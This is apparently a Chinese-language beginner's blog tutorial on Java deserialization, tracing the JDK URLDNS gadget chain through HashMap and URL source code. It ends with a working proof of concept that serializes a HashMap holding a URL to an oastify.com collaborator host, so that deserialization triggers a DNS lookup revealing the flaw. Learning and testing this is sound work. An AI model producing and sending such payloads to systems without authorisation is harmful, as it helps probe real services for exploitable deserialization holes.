小白终于开始Java反序列化了😭

一些前置知识

java反序列化三要素(入口类,调用链,执行类(利用点))

  • 入口类(source):重写readObject,调用常见函数,参数类型广泛,最好jdk自带。
  • 调用链(gadget chain):找相同方法。
  • 执行类(sink):rce,ssrf,读写文件等。

注:
实现了java.io.Serializable接口的类可以定义如下(魔术方法),在类序列化和反序列化过程中调用:
private void writeObject(ObjectOutputStream oos),自定义序列化
private void readObject(ObjectInputStream ois),自定义反序列化

readObject()方法被重写的的话,反序列化该类时自动调用重写后的readObject()方法。如果该方法书写不当的话将引发恶意代码的执行:

Read.java:

package ReadObject;

import java.io.Serializable;

public class Read implements Serializable{

    private void readObject(java.io.ObjectInputStream s){
        System.out.println("success");
    }

}

Se.java:

package ReadObject;

import java.io.*;

public class Se {
    public static void main(String[] args) throws IOException {
        Read read = new Read();
        serialize(read);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
}

Unse.java:

package ReadObject;

import java.io.*;

public class Unse {
    public static void main(String[] arge) throws IOException, ClassNotFoundException {
        System.out.println(unserialize("ser.bin"));
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
}

URLDNS

URLDN链,通常用于检查是否存在反序列化漏洞。(环境JDK1.8)
特点:

  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • 使用java内置类构造,无第三方库依赖

入口类:HashMap(重写了readObject(),jdk自带,调用常见函数hashCode())
调用链:HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
执行类:java.net.URL

HashMap#readObject:

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

反序列化时调用putVal()方法,该方法是设置键值对的,然后该方法里面又调用了hash()方法,跟进hash()方法。
HashMap#hash:

 static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

发现调用了key.hashCode()方法,key为构造的URL执行类。跟进URl.hashCode()方法。
URl#hashCode:

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
private int hashCode = -1;

当hashCode为-1时调用handler.hashCode(),跟进handler。
URl#handler:

transient URLStreamHandler handler;

继续跟进URLStreamHandler。
URLStreamHandler#hashCode:

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

在getHostAddress中进行了dns查询
URLStreamHandler#getHostAddress:

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

InetAddress.getByName("域名"),在给定域名的情况下进行dns解析。

poc:

package Url_Dns;

import java.io.*;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;




public class Se {
    public static void main(String[] args) throws Exception {

//        入口类
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        URL url = new URL("http://ukixerbs5nrw2zrha6rcqgm73y9pxe.oastify.com");

//        改变url对象的属性hashcode去掉序列化前的dns请求
        Class urlClass = url.getClass();
        Field name = urlClass.getDeclaredField("hashCode");
        name.setAccessible(true);
        name.set(url,123);
        System.out.println(name.get(url));

        h.put(url,1);//序列化时put()里因为hashCode为-1(默认)将在hashCode()中发起一次dns请求

        name.set(url,-1);
        System.out.println(name.get(url));
        serialize(h);

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
}
package Url_Dns;

import java.io.*;

public class Un_Se {
    public static void main(String[] args) throws Exception {

        System.out.println(unserialize("ser.bin"));

    }
    public static Object unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(name));
        Object obj1 = obj.readObject();
        return obj1;
    }

}


参考连接:https://xz.aliyun.com/t/9417#toc-3